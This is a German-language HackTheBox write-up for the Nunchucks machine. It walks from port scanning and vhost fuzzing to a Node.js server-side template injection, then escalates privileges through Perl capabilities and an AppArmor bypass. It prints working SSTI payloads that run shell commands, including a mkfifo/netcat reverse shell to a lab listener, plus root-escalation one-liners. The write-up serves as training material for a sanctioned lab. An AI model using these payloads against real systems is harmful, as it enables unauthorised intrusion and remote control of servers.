> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md).
# Nunchucks HackTheBox Ausarbeitung
{% hint style="warning" %}
**Fähigkeiten:**
* NodeJS SSTI (Serverseitige Template-Injektion)
* AppArmor-Profil-Bypass (Privilegieneskalation)
{% endhint %}
## Aufklärung
**Einrichtung des Arbeitsbereichs:**
Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.
**VPN-Verbindung prüfen**
Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.
**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.122 -oG allPorts
```
**Analyse offener Ports mit extractport:** Verwendung der extractport-Funktion, um offene Ports synthetisch anzuzeigen und sie in die Zwischenablage zu kopieren.
**Scannen der Port-Version mit Nmap:** Verwendung von Nmap, um die Port-Version zu scannen und die Informationen in die Datei "targeted" zu extrahieren:
```bash
nmap -sCV -p22,80,443 10.10.11.122 -oN targeted
```
Um Domänennamen über DNS in IP-Adressen aufzulösen, fügen Sie den mit seiner IP-Adresse verknüpften Domänennamen in die `/etc/hosts` vorhandenen Benutzern.
### Port 443 - HTTPS
Wir finden ein Login-Panel, aber keine bekannten Zugangsdaten.
### VHost-Fuzzing - Gobuster
Wir führen **Fuzzing** von Subdomains durch, um mögliche versteckte Dienste zu identifizieren:
```bash
gobuster vhost -u https://nunchucks.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -k
```
Wir finden die Subdomain **store.nunchucks.htb**.
## SSTI-Schwachstelle (Node.js)
Wir bemerken eine Funktion, die es erlaubt, eine E-Mail einzugeben, um einen Newsletter zu abonnieren. Die Serverantwort zeigt unseren Eintrag direkt an, was auf eine mögliche **Server-Side Template Injection (SSTI)**.
#### Schwachstellentest
Wir fangen die Anfrage mit **Burp Suite** und testen eine klassische SSTI:
```json
{{9*9}}
```
Wenn die Antwort `81`, dann ist die Anwendung verwundbar, was hier der Fall ist.
### Lesen `/etc/passwd`
Wir verwenden das folgende Payload, um den Inhalt von `/etc/passwd`:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}
```
{% endcode %}
#### Ermittlung des aktuellen Benutzers
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}
```
{% endcode %}
Wir erhalten `david`.
### Reverse Shell via SSTI (Node.js)
Beginne mit dem Lauschen auf Port **4444**:
```bash
nc -nlvp 4444
```
Sende das Reverse-Shell-Payload:
{% code overflow="wrap" %}
```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}
```
{% endcode %}
Zugriff auf die Zielmaschine
### Flagge user.txt
#### Terminal-Stabilisierung
```bash
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```
## PrivilegieneskalationS
### Ausnutzung von **Capabilities** unter Perl
{% embed url="" %}
Wir listen die **Capabilities** verfügbaren auf:
```bash
getcap -r / 2>/dev/null
```
Wir bemerken, dass `perl` besondere Berechtigungen hat.
**Einen Befehl als root ausführen**
```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
```
Wir erhalten **root**.
### AppArmor-Bypass
```bash
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash -p";'
```
Das `/usr/bin/perl` Binärdatei wird eingeschränkt durch **AppArmor**
Nutze einen bekannten [AppArmor-Fehler](https://bugs.launchpad.net/apparmor/+bug/1911431) um die Einschränkung zu umgehen, indem ein Skript erstellt wird:
```basic
#!/usr/bin/perl
use POSIX qw(setuid);
POSIX::setuid(0);
exec "/bin/bash";
```
### Flaf root.txt :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/nunchucks-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.